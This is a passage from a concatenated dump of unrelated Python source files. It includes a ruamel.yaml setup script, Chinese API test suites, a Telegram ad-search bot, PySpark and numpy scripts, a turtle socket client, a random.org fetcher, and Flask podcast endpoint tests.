'6222020200097521997'\"\t####根据各个接口场景的数据流\n\tsetExcelData(sql, \"查询SQL\", pid, interfaceNo)\n\tsetExcelData(getSQLResult(sql)[1][5], \"SQL结果\", pid, interfaceNo)\t#获取数据库某个字段值的查询结果,尝试获取某几个字段的查询结果\n\tprint (\"getSQLResult(sql)\")\n\tsetExcelData(BodyData, \"请求报文\", pid, interfaceNo)\n\tprint(getExcelData(\"custCode\", pid, interfaceNo), getExcelData(\"bankCardNo\", pid, interfaceNo))","sub_path":"Test/example/Demo2.py","file_name":"Demo2.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"23427374","text":"#! /usr/bin/env python\n# coding: utf-8\n\nfrom __future__ import print_function\n\nimport sys\nimport os\nfrom textwrap import dedent\n\nname_space = 'ruamel'\npackage_name = 'yaml'\nfull_package_name = name_space + '.' + package_name\n\nexclude_files = [\n 'setup.py',\n]\n\n\ndef get_version():\n v_i = 'version_info = '\n for line in open('py/__init__.py'):\n if not line.startswith(v_i):\n continue\n s_e = line[len(v_i):].strip()[1:-1].split(', ')\n els = [x.strip()[1:-1] if x[0] in '\\'\"' else int(x) for x in s_e]\n return els\n\n\ndef _check_convert_version(tup):\n \"\"\"create a PEP 386 pseudo-format conformant string from tuple tup\"\"\"\n ret_val = str(tup[0]) # first is always digit\n next_sep = \".\" # separator for next extension, can be \"\" or \".\"\n nr_digits = 0 # nr of adjacent digits in rest, to verify\n post_dev = False # are we processig post/dev\n for x in tup[1:]:\n if isinstance(x, int):\n nr_digits += 1\n if nr_digits > 2:\n raise ValueError(\"to many consecutive digits \" + ret_val)\n ret_val += next_sep + str(x)\n next_sep = '.'\n continue\n first_letter = x[0].lower()\n next_sep = ''\n if first_letter in 'abcr':\n if post_dev:\n raise ValueError(\"release level specified after \"\n \"post/dev:\" + x)\n nr_digits = 0\n ret_val += 'rc' if first_letter == 'r' else first_letter\n elif first_letter in 'pd':\n nr_digits = 1 # only one can follow\n post_dev = True\n ret_val += '.post' if first_letter == 'p' else '.dev'\n else:\n raise ValueError('First letter of \"' + x + '\" not recognised')\n return ret_val\n\n\nversion_info = get_version()\nversion_str = _check_convert_version(version_info)\n\nif __name__ == '__main__':\n # put here so setup.py can be imported more easily\n from setuptools import setup, find_packages, Extension\n from setuptools.command import install_lib\n\n\nclass MyInstallLib(install_lib.install_lib):\n \"create __init__.py on the fly\"\n def run(self):\n install_lib.install_lib.run(self)\n init_txt = dedent('''\\\n # coding: utf-8\n # Copyright © 2013-2014 Anthon van der Neut, RUAMEL bvba\n \"generated __init__.py \"\n try:\n __import__('pkg_resources').declare_namespace(__name__)\n except ImportError:\n pass\n ''')\n init_path = full_package_name.split('.')[:-1]\n for product_init in [\n os.path.join(\n *([self.install_dir] + init_path[:p+1] + ['__init__.py']))\n for p in range(len(init_path))\n ]:\n if not os.path.exists(product_init):\n print('creating %s' % product_init)\n with open(product_init, \"w\") as fp:\n fp.write(init_txt)\n setup = os.path.join(self.install_dir, 'setup.py')\n\n def install(self):\n fpp = full_package_name.split('.') # full package path\n full_exclude_files = [os.path.join(*(fpp + [x]))\n for x in exclude_files]\n alt_files = []\n outfiles = install_lib.install_lib.install(self)\n for x in outfiles:\n for full_exclude_file in full_exclude_files:\n if full_exclude_file in x:\n os.remove(x)\n break\n else:\n alt_files.append(x)\n return alt_files\n\n\ndef main():\n install_requires = [\n \"ruamel.std.argparse\",\n ]\n # use fast ordereddict for !!omap\n if sys.version_info[0] == 2:\n install_requires.extend(['ruamel.ordereddict'])\n # if sys.version_info < (3, 4):\n # install_requires.append(\"\")\n packages = [full_package_name] + [\n (full_package_name + '.' + x)\n for x in find_packages('py', exclude=['test'])]\n ext_modules = [\n # Extension('_yaml', ['ext/_yaml.pyx'],\n # 'libyaml', \"LibYAML bindings\", LIBYAML_CHECK,\n # libraries=['yaml']),\n Extension(\n '_yaml',\n sources=['ext/_yaml.c'],\n libraries=['yaml'],\n ),\n ]\n setup(\n name=full_package_name,\n version=version_str,\n description=full_package_name + \" is a YAML parser/emitter that \"\n \"supports roundtrip comment preservation\",\n install_requires=install_requires,\n long_description=open('README.rst').read(),\n url='https://bitbucket.org/ruamel/' + package_name,\n author='Anthon van der Neut',\n author_email='a.van.der.neut@ruamel.eu',\n license=\"MIT license\",\n package_dir={full_package_name: 'py'},\n namespace_packages=[name_space],\n packages=packages,\n ext_modules=ext_modules,\n entry_points=mk_entry_points(full_package_name),\n cmdclass={'install_lib': MyInstallLib},\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n \"Programming Language :: Python :: 2.6\",\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3.3\",\n \"Programming Language :: Python :: 3.4\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Topic :: Text Processing :: Markup\",\n ]\n )\n\n\ndef mk_entry_points(full_package_name):\n script_name = full_package_name.rsplit('.', 1)[-1]\n return {'console_scripts': [\n '{0} = {1}:main'.format(script_name, full_package_name),\n ]}\n\nif __name__ == '__main__':\n if len(sys.argv) > 1 and sys.argv[1] == 'sdist':\n assert full_package_name == os.path.abspath(os.path.dirname(\n __file__)).split('site-packages' + os.path.sep)[1].replace(\n os.path.sep, '.')\n main()\n","sub_path":"lib/third_party/ruamel/yaml/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":6081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"328240569","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@Time :2019-8-5 上午 9:35\n@Author : songchao\n@File : testAiapi20.py\n@desc : 启贷机审2.0 接口自动化\n\"\"\"\n\nimport copy\nimport json\nimport os\nimport re\nimport time\n\nimport ddt\nfrom faker import Faker\n\nfrom machineReviewQD.testAction import AiapiAction\nfrom machineReviewQD.testSource import ai_config\nfrom common.myCommon import Assertion, TimeFormat\nfrom common.myCommon.Logger import getlog\nfrom common.myCommon.TestBaseCase import TestBaseCase\nfrom common.myFile import FileUtils, ExcelUtil\n\nfake = Faker('zh_cn')\nLOGGER = getlog(__name__)\nexcel_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'testSource')\n\n\ndef special(key, value):\n \"\"\"\n 处理特殊规则\n :param key: 规则key值\n :param value: 修改规则值\n :return:\n \"\"\"\n if key in ['V04_1010', 'V04_1011', 'V04_1012', 'V05_1015', 'V05_1016', 'V05_1017']:\n # value 传入数据格式 int 如5,-7\n if value == '':\n result = ''\n else:\n result = TimeFormat.get_day_start_time(FileUtils.str_to_num(value))\n elif key in ['V01_3001', 'V01_3002', 'V01_1001']:\n # value 传入数据格式 int 如5,-7 , 0.0, 0.1\n result = FileUtils.str_to_num(value)\n elif key == 'V03_1045':\n V03_1045 = [{\"call_cnt_6m\": 304, \"peer_num\": \"15775800488\", \"call_cnt_1m\": 6,\n \"call_cnt_3m\": 140, \"call_cnt_1w\": 9}]\n # value 传入数据格式 phone;num\n v = re.split('[;;]', value)\n num = FileUtils.str_to_num(str(v[1]))\n tmp = {\"call_cnt_6m\": 304, \"peer_num\": v[0], \"call_cnt_1m\": num, \"call_cnt_3m\": 140, \"call_cnt_1w\": 9}\n V03_1045.append(tmp)\n result = V03_1045\n elif key == 'V03_1046':\n # value传入格式phone1;phone2;phone3\n v = re.split('[;;]', value)\n result = [{\"top_item\": [{\"peer_number\": v[0]}, {\"peer_number\": v[1]}, {\"peer_number\": v[2]}],\n \"key\": \"peer_num_top3_3m\"},\n {\"top_item\": [{\"peer_number\": v[3]}, {\"peer_number\": v[4]}, {\"peer_number\": v[5]}],\n \"key\": \"peer_num_top3_6m\"}]\n elif key == 'V01_1010':\n # value传入格式 int\n result = str([{\"name\": \"{}\".format(fake.name()), \"phones\": [\"{}\".format(fake.phone_number())]}\n for _ in range(int(FileUtils.str_to_num(value)))]).replace('\\'', '\\\"')\n elif key == 'V03_1002':\n result = str(int(FileUtils.str_to_num(value)))\n else:\n result = value\n return result\n\n\ndef choose_sheet(param, param_dict, param_key, value):\n \"\"\"\n 判断规则值是否在 param_dict 中,不在时遍历 param 查找对应的param_key 进行修改\n :param param: 请求参数\n :param param_dict: 查找对象\n :param param_key: 查找key值\n :param value: 修改值\n :return:\n \"\"\"\n if param_key in param[param_dict].keys():\n param[param_dict][param_key] = special(param_key, value)\n else:\n for k, v in param.items():\n if param_key in v.keys():\n param[k][param_key] = special(param_key, value)\n break\n\n\n@ddt.ddt\nclass testAiapi20(TestBaseCase):\n @ddt.data(*ExcelUtil.read_excel_all_sheet(excel_path, 'Aiapi20machinReviewQD.xlsx'))\n def test_Aiapi20_machine_review(self, data):\n LOGGER.info(data)\n LOGGER.info(('开始执行【{0}】第【{1}】条测试用例:【{2}】'.format(\n data['sheet'], data['序号'], data['描述'])).center(80, '-'))\n t1 = time.clock()\n params = copy.deepcopy(ai_config.demo)\n if any(True if ext in data[\"修改key\"] else False for ext in [',', ',']):\n keys = re.split('[,,]', re.sub('\\s+', '', data[\"修改key\"]))\n values = re.split('[,,]', re.sub('\\s+', '', data[\"修改值\"]))\n if len(keys) == len(values):\n for i in range(len(keys)):\n choose_sheet(params, data['sheet'], keys[i], values[i])\n else:\n raise IndexError(\"修改key 和修改值长度不一致,【{}】\".format(data))\n else:\n choose_sheet(params, data['sheet'], data[\"修改key\"], data[\"修改值\"])\n rs = json.loads(AiapiAction.test_risk_strategy(\n data=params, scene_id=ai_config.scene_id, version=ai_config.version))\n Assertion.verity(rs['risk_strategy']['status_des'], '成功返回数据', data)\n Assertion.verity(rs['risk_strategy']['status_id'], '100', data)\n Assertion.verity(rs['risk_score']['status_des'], '成功返回数据', data)\n Assertion.verity(rs['risk_score']['status_id'], '100', data)\n if re.sub('\\s+', '', data['评分规则名称']) != '':\n for result_info_key, result_info_value in rs['risk_score']['data']['result_info'].items():\n if result_info_value['desc'] == data['评分规则名称']:\n score_result = rs['risk_score']['data']['result_info'][result_info_key]['result']\n break\n else:\n message = \"失败原因: 找不到描述信息为【{1}】的规则名称,测试数据【{0}】\".format(\n data, data['评分规则名称'])\n raise Assertion.MyError(message)\n Assertion.verity(score_result, float(data['评分规则结果']), data)\n if re.sub('\\s+', '', data['风险策略编号']) != '':\n my_num = str(int(FileUtils.str_to_num(data['风险策略编号'])))\n try:\n strategy_result = rs['risk_strategy']['data']['result_info'][my_num]['result']\n except Exception as e:\n message = \"测试数据【{1}】,失败原因: 找不到['risk_strategy']['data']['result_info']\" \\\n \"['{2}']['result'],定位:【{0}】\".format(e, data, my_num)\n raise Assertion.MyError(message)\n Assertion.verity(strategy_result, FileUtils.str_to_bool(data['风险策略结果']), data)\n LOGGER.info(('【{0}】第【{1}】条测试用例:【{3}】执行完成,执行时间【{2}】'.format(\n data['sheet'], data['序号'], float(time.clock() - t1), data['描述'])).center(80, '-'))\n","sub_path":"api-test/machineReviewQD/test/testAiapi.py","file_name":"testAiapi.py","file_ext":"py","file_size_in_byte":6259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"49587058","text":"#!/usr/bin/python\n\n\"\"\"\nUnit test for BloggerPublisher.\n\"\"\"\n\n# Get object to test \nimport sys\nsys.path.append('../')\nfrom BloggerPublisher import BloggerPublisher\n\n# Get base class to run tests off of\nimport unittest\n\n# Create derived class that has the tests.\nclass TestBloggerPublisher(unittest.TestCase):\n def setUp(self):\n mockGoogle = 'google_mock.bash'\n self.publisher = BloggerPublisher(mockGoogle, None)\n\n def test_post_non_existant_file_fails(self):\n # Assuming that a file called 'tmp.bad.file' does not exist\n self.publisher.publish('./tmp.bad.file',{})\n self.assertNotEqual(self.publisher.status, '')\n\n def test_make_title_from_filename(self):\n data = { }\n filename = 'hello.md'\n title = self.publisher.makeTitle(data,filename)\n\n self.assertEqual('hello',title);\n\n def test_get_postid_from_json(self):\n jsonStr = {\n 'selfLink': 'https://www.googleapis.com/blogger/v3/blogs/6764233575343435164/posts/6884028750484619004'\n }\n\n postId = self.publisher.getPostId(jsonStr)\n\n self.assertEqual('6884028750484619004', postId)\n\n\n# Main function will run all tests in classes derived from TestCase\nif __name__ == \"__main__\":\n unittest.main()\n\n","sub_path":"unit_tests/BloggerPublisher.t.py","file_name":"BloggerPublisher.t.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"96673842","text":"from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, ConversationHandler, RegexHandler\nimport logging\nfrom telegram.bot import Bot\nfrom telegram.update import Update\nimport telegram\nimport time\nfrom orm import User, session, Advertising, Category\nimport json\nimport os\nimport jdatetime\n\n\nback_button = 'برگشت'\nmenu_button = '/start'\nskip_button = 'ردکردن'\nagree_button = 'قبول'\ncancel_button = '/cancel'\nusers = {}\nwith open('Province.json') as f:\n tmp = json.load(f)\n province = [i['name'].strip() for i in tmp]\n cities = {i['name']: [j['name'] for j in i['Cities']] for i in tmp}\n\n\nCATEGORY, PROVINCE, CITY, COMMENT, PICTURE = range(5)\n\ndef next_step(bot, update, step):\n i = update.message.chat_id\n reply_keyboard = []\n\n if step == CATEGORY:\n reply_keyboard = [[c.comment] for c in session.query(Category).all()]\n text = 'از بین موضوعات زیر موضوع آگهی خود را انتخاب کنید'\n\n reply_keyboard.append([menu_button, cancel_button])\n print(reply_keyboard)\n bot.sendMessage(i,text=text, reply_markup=telegram.ReplyKeyboardMarkup(reply_keyboard, one_time_keyboard=True))\n return step\n\n\ndef search_start(bot, update):\n telegram_user = update.message.from_user\n user = session.query(User).filter_by(telegram_id = telegram_user.id).first()\n i = update.message.chat_id\n users[i] = user\n if not user:\n bot.sendMessage(i, text='شما در این سامانه ثبت نام نکرده اید. می توانید از طریق /register ثبت نام کرده و سپس به جستجوی آگهی خود بپردازید')\n return ConversationHandler.END\n elif not user.city:\n bot.sendMessage(i,\n text='برای درج آگهی و جستجو در آگهی ها انتخاب شهر و استان الزامی است /register ثبت نام خود را تکمیل کرده و سپس به جستجوی آگهی خود بپردازید')\n return ConversationHandler.END\n # return next_step(bot, update, PROVINCE)\n else:\n return next_step(bot, update, CATEGORY)\n\n\ndef search_category(bot, update):\n i = update.message.chat_id\n\n user = users[i]\n ads = session.query(Advertising).filter(Advertising.province == user.province).filter(Advertising.city == user.city).filter(Category.comment == update.message.text).all()\n print(ads)\n for ad in ads:\n if os.path.exists('picture/{}-{}'.format(ad.user.chat_id, ad.id)):\n pic = 'picture/{}-{}'.format(ad.user.chat_id, ad.id)\n else:\n pic = None\n\n message = '''عنوان آگهی:\n {}\nآگهی دهنده: {}\n شماره تماس: {}\n'''.format(ad.comment, ad.user.first_name + ' ' + ad.user.last_name, ad.user.mobile)\n if pic:\n bot.sendPhoto(chat_id=i, photo=open(pic, 'rb'), caption=message)\n else:\n bot.sendMessage(i, text=message)\n\n # session.add(users[i])\n # session.commit()\n # bot.sendMessage(i, text='آگهی شما با موفقیت درج شد')\n return ConversationHandler.END\n # return next_step(bot,update, Category)\n\n\n# def search(bot, update, args):\n# i = update.message.chat_id\n# for ad in session.query(Advertising).all():\n\n\n\ndef cancel(bot, update):\n i = update.message.chat_id\n user = update.message.from_user\n bot.sendMessage(i, text='شما از ادامه منصرف شده اید')\n\n return ConversationHandler.END\n\n\nsearch_handler = ConversationHandler(\n entry_points=[CommandHandler('search', search_start)],\n allow_reentry=True,\n states={\n CATEGORY: [MessageHandler([Filters.text], search_category)]\n },\n\n fallbacks=[CommandHandler('cancel', cancel)]\n)\n","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"407627040","text":"#!/usr/bin/python2 \n# -*- coding: utf-8 -*-\n\nfrom pyspark import SparkContext \nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import to_date,months_between,current_timestamp,floor,year,month\n\n\ndata_enh=\"hdfs://10.190.2.112/data/data_dump.txt\"\ntrain_set=\"hdfs://10.190.2.112/data/train_set.txt\"\nval_set=\"hdfs://10.190.2.112/data/val_set.txt\"\ntest_set=\"hdfs://10.190.2.112/data/test.txt\"\n\n\n#获得数据\nspark = SparkSession.builder.master(\"spark://10.190.2.112:7077\").appName(\"pssql07\").getOrCreate()\ndf = spark.read.csv(data_enh,header=None,encoding=\"utf-8\",inferSchema=True,sep=\"\\t\").drop_duplicates() #去重\n# df=df.withColumn('Tdate',to_date(df[8], 'dd/MM/yyyy'))\n# df=df.filter(\"Tdate>to_date('01/01/1890','dd/MM/yyyy')\")\ndf=df.withColumn('Tdate',to_date(df[8], 'dd/MM/yyyy'))\ndf=df.filter(\"year(Tdate)>=1890 and month(Tdate)=7\" )\n#执行查询\ndf1=df.select(df[8].alias(\"birth\")) #抽取date_of_birth as birth,address_city as city,为防止太长,分步添加\ndf1=df1.withColumn('Tdate',to_date(df1[0], 'dd/MM/yyyy')).withColumn('Cur_time',to_date(current_timestamp(),\"dd/MM/yyyy\")) #新加列str2date,now()\ndf2=df1.filter(\"Tdate is not null\").select(\"Tdate\")#select(floor(months_between('Cur_time','Tdate')/12).alias(\"age\")) #选定city,与月份的差额作为新的列作除法取别名为age\ndf2.createOrReplaceTempView(\"Tur_db7\")\nq=\"\"\"select Tdate,count(Tdate) as num\nfrom Tur_db7\ngroup by Tdate\norder by Tdate\n\"\"\"\nspark.sql(q).show(3000)\n\n\n","sub_path":"test/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"120513663","text":"import numpy as np\nimport sys\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn.metrics import accuracy_score\ndata = load_breast_cancer()\n\nseed = sys.argv[1]\n\ndef asgn_lbl(vec):\n \"\"\"\n Assigns -1 or +1 depending on sign\n :param vec: input vector\n :return: vector with same length as vec with -1, and +1 entries\n \"\"\"\n temp_vec = vec[:]\n for i in range(len(vec)):\n if vec[i] >= 0:\n temp_vec[i] = +1\n elif vec[i] < 0:\n temp_vec[i] = -1\n return temp_vec\n\ncur_theta, cur_sol = np.load(seed, allow_pickle=True)\nX, y = data['data'], data['target']\nm, n = np.shape(X)\ny[y == 0] = -1\nw = cur_sol[0:n]\nb = cur_sol[-2]\ny_pred = X @ w + b\ny_pred = asgn_lbl(y_pred)\nresult = accuracy_score(y, y_pred)\nprint('accuracy: ', result)\nnp.savetxt(\"predictions.csv\", y_pred, delimiter=\",\")\n","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"326476666","text":"#For GUI\r\nfrom turtle import Turtle, Screen\r\n#For Communication.\r\nfrom socket import socket, AF_INET, SOCK_STREAM\r\n#For Multi-threading.\r\nfrom _thread import start_new_thread\r\n#For delay\r\nfrom time import sleep\r\nimport random\r\nimport turtle\r\n\r\n\r\ndef send_function(x):\r\n keypress = str(x) \r\n #print(keypress)\r\n s.send(keypress.encode('UTF-8'))\r\n\r\ndef gameloop(s):\r\n # Main game loop\r\n while True:\r\n wind.update()\r\n \r\ndef up():\r\n figure.forward(10)\r\n x = 'w'\r\n send_function(x)\r\n\r\ndef left():\r\n figure.left(45)\r\n x = 'a'\r\n send_function(x)\r\n\r\ndef right():\r\n figure.right(45)\r\n x = 'd'\r\n send_function(x)\r\n\r\ndef down():\r\n figure.backward(10)\r\n x = 's'\r\n send_function(x)\r\n\r\ndef increase():\r\n figure.shapesize(5,5)\r\n x='Up'\r\n send_function(x)\r\n\r\ndef decrease():\r\n\tfigure.shapesize(2,2)\r\n\tx='Down'\r\n\tsend_function(x)\r\n\r\ndef color():\r\n \tfigure.color('blue')\r\n \tx='Left'\r\n \tsend_function(x)\r\n\r\ndef color2():\r\n \tfigure.color('red')\r\n \tx='Right'\r\n \tsend_function(x)\r\n\r\ndef bye():\r\n\tx = 'Escape'\r\n\tsend_function(x)\r\n\twind.bye()\r\n\r\nwind = Screen()\r\nwind.title(\"TURTLE: Client Side\")\r\nwind.bgcolor(\"#222222\")\r\nwind.setup(width=1024, height=768)\r\nwind.tracer(0)\r\n\r\n\r\nfigure = Turtle()\r\nfigure.speed(0)\r\nfigure.shape(\"turtle\")\r\nfigure.shapesize(2,2)\r\nfigure.color(\"red\")\r\nfigure.penup()\r\nfigure.goto(0, 0)\r\n\r\ntext = ''\r\n\r\n# Keyboard binding\r\nwind.listen()\r\nwind.onkeypress(up, \"w\")\r\nwind.onkeypress(down, \"s\")\r\nwind.onkeypress(right, \"d\")\r\nwind.onkeypress(left, \"a\")\r\nwind.onkeypress(increase, \"Up\")\r\nwind.onkeypress(color, \"Left\")\r\nwind.onkeypress(color2, \"Right\")\r\nwind.onkeypress(decrease, \"Down\")\r\nwind.onkeypress(bye, \"Escape\")\r\n\r\ns=socket(AF_INET, SOCK_STREAM)\r\ns.connect(('192.168.0.104',7010))\r\n#create thread for serving that session.\r\n\r\nstart_new_thread(gameloop,(s,))\r\nwind.mainloop()\r\n","sub_path":"client1.py","file_name":"client1.py","file_ext":"py","file_size_in_byte":1863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"76024543","text":"# coding: utf-8\n'''\n問題冊子は以下\nhttps://www.su-gaku.net/common/pdf/support_sample/question/1q_q_1ji.pdf\n'''\nimport itertools\nimport numpy\n\n\ndef main():\n # 全100caseを配列に格納\n bag = []\n # 赤球5個を袋へ\n for i in range(5):\n bag.append('r')\n # 青球3個を袋へ\n for i in range(3):\n bag.append('b')\n # 黒球2個を袋へ\n for i in range(2):\n bag.append('k')\n case = list(itertools.product(bag, repeat=2))\n xlist = []\n ylist = []\n for c in case:\n if c[0] == 'r' and c[1] == 'r':\n x = 2\n elif c[0] == 'r' or c[1] == 'r':\n x = 1\n else:\n x = 0\n xlist.append(x)\n if c[0] == 'b' and c[1] == 'b':\n y = 2\n elif c[0] == 'b' or c[1] == 'b':\n y = 1\n else:\n y = 0\n ylist.append(y)\n print(numpy.var(xlist))\n print(numpy.cov([xlist, ylist])[0][1])\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Practice/su-gaku.net/2017_grade1/problem5.py","file_name":"problem5.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"213136102","text":"\nimport requests\nfrom path import Path\n\nRANDOM_ORG_INTEGER_API = 'https://www.random.org/integers/'\n\nclass Failure(Exception):\n pass\n\nclass GenRand(object):\n def __init__(self):\n self.session = requests.Session()\n self.session.headers.update({'user-agent': 'xc2416@columbia.edu'})\n\n def get_integers(self, nums = 1, minRand = 1, maxRand = 2, col = 1, base = 16, format_return='plain', rnd='1'):\n ints = self.session.get(RANDOM_ORG_INTEGER_API, params = {\n 'num' : str(nums),\n 'min' : str(minRand),\n 'max' : str(maxRand),\n 'col' : str(col),\n 'base' : str(base),\n 'format' : str(format_return),\n 'rnd' : str(rnd)\n })\n if 200 != ints.status_code:\n raise Failure(ints)\n try:\n vals = [int(y, base) for y in [x.strip() for x in ints.content.strip().split()] if len(y)]\n except Exception as _e:\n return ints\n return vals\n\n def get_and_save_bytes(self, num_bytes, directory='.'):\n files = sorted(int(pth.basename().split('.')[0]) for pth in Path(directory).files('*.rawbytes'))\n if files:\n nextbase = str(files[-1] + 1)\n else:\n nextbase = str(1)\n nextname = nextbase + '.rawbytes'\n ints = self.get_integers(num_bytes, 0, 0xFF, base = 16)\n value = ''.join(chr(i) for i in ints)\n with open(nextname, 'wb') as f:\n f.write(value)\n return value\n\n def get_bytes_from_local(self, directory='.'):\n res = []\n files = sorted(int(pth.basename().split('.')[0]) for pth in Path(directory).files('*.rawbytes'))\n for i in files:\n res.append((Path(directory) / str(i) + '.rawbytes').open('rb').read())\n return ''.join(res)\n\ndef main():\n random_org = GenRand()\n random_org.get_and_save_bytes(10000)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"local_version/bits.py","file_name":"bits.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"557750027","text":"import unittest\nimport json\nimport io\nimport os\nfrom random import randint\n\nfrom flask import current_app as app\nfrom faker import Faker\nfrom app import db\nfrom app.models import User, Podcast, PopularPodcast, View\nfrom app.tests.base import BaseTestCase\nfrom app.tests.utils import get_real_podcasts, delete_dummy_podcasts\n\nfaker = Faker()\n\n\nclass TestPodcastsPackage(BaseTestCase):\n def setUp(self):\n super(TestPodcastsPackage, self).setUp()\n\n email = faker.email()\n password = \"Test1234\"\n username = faker.first_name()\n\n user = User(email=email, password=password, username=username)\n db.session.add(user)\n db.session.commit()\n\n for _ in range(30):\n p = Podcast(\n author=self.user, title=faker.text(20), description=\"lorem ipsum\"\n )\n p.audio_file = \"test.mp3\"\n db.session.add(p)\n\n p = Podcast(\n author=user,\n title=faker.text(20),\n description=\"lorem ipsum\",\n audio_file=faker.file_name(extension=\"mp3\"),\n )\n db.session.add(p)\n db.session.commit()\n self.user = user\n self.podcast = p\n\n self.real_podcasts = get_real_podcasts()\n\n def tearDown(self):\n super(TestPodcastsPackage, self).tearDown()\n delete_dummy_podcasts(self.real_podcasts)\n\n def generate_dummy_podcast_file(self):\n bytes_header = b\"\\xff\\xfb\\xd6\\x04\"\n filler = b\"\\x01\" * 800\n file = (io.BytesIO(bytes_header + filler), \"test.mp3\")\n return file\n\n def generate_dummy_cover_file(self):\n bytes_header = b\"\\xff\\xfb\\xd6\\x04\"\n filler = b\"\\x01\" * 800\n file = (io.BytesIO(bytes_header + filler), \"test.jpg\")\n return file\n\n def test_podcast_add(self):\n with self.client:\n data = dict(\n title=\"title1\",\n description=\"lorem ipsum dolor sit\",\n )\n data = {key: str(value) for key, value in data.items()}\n data[\"audio_file\"] = self.generate_dummy_podcast_file()\n response = self.client.post(\n \"/api/podcasts\",\n data=data,\n content_type=\"multipart/form-data\",\n headers=dict(authToken=\"Bearer \" + self.user.generate_auth_token()),\n )\n self.assertEqual(response.status_code, 201)\n data = json.loads(response.data.decode())\n self.assertEqual(response.content_type, \"application/json\")\n self.assertIn(\".mp3\", data.get(\"audio_file\"))\n self.assertEqual(data.get(\"author\").get(\"id\"), str(self.user.id))\n\n def test_get_podcast(self):\n with self.client:\n data = dict(\n title=\"title1\",\n description=\"lorem ipsum dolor sit\",\n )\n data = {key: str(value) for key, value in data.items()}\n data[\"audio_file\"] = self.generate_dummy_podcast_file()\n response = self.client.post(\n \"/api/podcasts\",\n data=data,\n content_type=\"multipart/form-data\",\n headers=dict(authToken=\"Bearer \" + self.user.generate_auth_token()),\n )\n data = json.loads(response.data.decode())\n self.assertEqual(response.status_code, 201)\n\n get_res = self.client.get(\"/api/podcasts/\" + str(data[\"id\"]))\n get_data = json.loads(get_res.data.decode())\n self.assertEqual(get_res.status_code, 200)\n self.assertEqual(get_res.content_type, \"application/json\")\n self.assertIn(\".mp3\", get_data.get(\"audio_file\"))\n self.assertEqual(get_data.get(\"author\").get(\"id\"), str(self.user.id))\n\n def test_get_podcast_cover(self):\n p = Podcast(author=self.user, title=\"test\", description=\"lorem ipsum\")\n p.audio_file = \"test.mp3\"\n db.session.add(p)\n db.session.commit()\n\n with self.client:\n res = self.client.get(\"/api/podcasts/image/\" + p.cover_img)\n self.assertEqual(res.status_code, 200)\n self.assertTrue(\"image\" in res.content_type)\n\n def test_get_users_podcasts_list(self):\n for _ in range(20):\n p = Podcast(\n author=self.user,\n title=faker.text(20),\n description=\"lorem ipsum\",\n audio_file=faker.file_name(extension=\"mp3\"),\n )\n db.session.add(p)\n db.session.commit()\n\n with self.client:\n res = self.client.get(\"/api/podcasts/all/{}/{}\".format(self.user.id, 1))\n self.assertEqual(res.status_code, 200)\n data = json.loads(res.data.decode())\n self.assertEqual(len(data[\"items\"]), 10)\n self.assertTrue(data[\"is_more\"])\n\n def test_det_st_popular_podcasts(self):\n podcasts = []\n for _ in range(10):\n p = Podcast(\n author=self.user,\n title=faker.text(20),\n description=\"lorem ipsum\",\n audio_file=faker.file_name(extension=\"mp3\"),\n )\n podcasts.append(p)\n db.session.add(p)\n db.session.commit()\n\n for p in podcasts:\n pp = PopularPodcast(podcast_id=p.id, views=randint(30, 100))\n db.session.add(pp)\n db.session.commit()\n\n with self.client:\n res = self.client.get(\"/api/podcasts/most_popular\")\n self.assertEqual(res.status_code, 200)\n data = json.loads(res.data.decode())\n ids = [p.id for p in podcasts]\n for p in data[\"items\"]:\n self.assertTrue(p[\"id\"] in ids)\n\n def test_podcast_update(self):\n p = Podcast(\n author=self.user,\n title=faker.text(20),\n description=\"lorem ipsum\",\n audio_file=faker.file_name(extension=\"mp3\"),\n )\n db.session.add(p)\n db.session.commit()\n\n with self.client:\n patch_data = dict(title=\"etst1\", description=\"dasdasdasdsadsa\")\n res = self.client.patch(\n \"/api/podcasts/{}\".format(p.id),\n data=json.dumps(patch_data),\n content_type=\"application/json\",\n headers=dict(authToken=\"Bearer \" + self.user.generate_auth_token()),\n )\n self.assertEqual(res.status_code, 200)\n data = json.loads(res.data.decode())\n self.assertEqual(data[\"title\"], patch_data[\"title\"])\n self.assertEqual(data[\"description\"], patch_data[\"description\"])\n\n def test_podcast_delete(self):\n p = self.podcast\n with open(\n os.path.abspath(\n os.path.join(app.root_path, \"static\", \"podcasts\", p.audio_file)\n ),\n 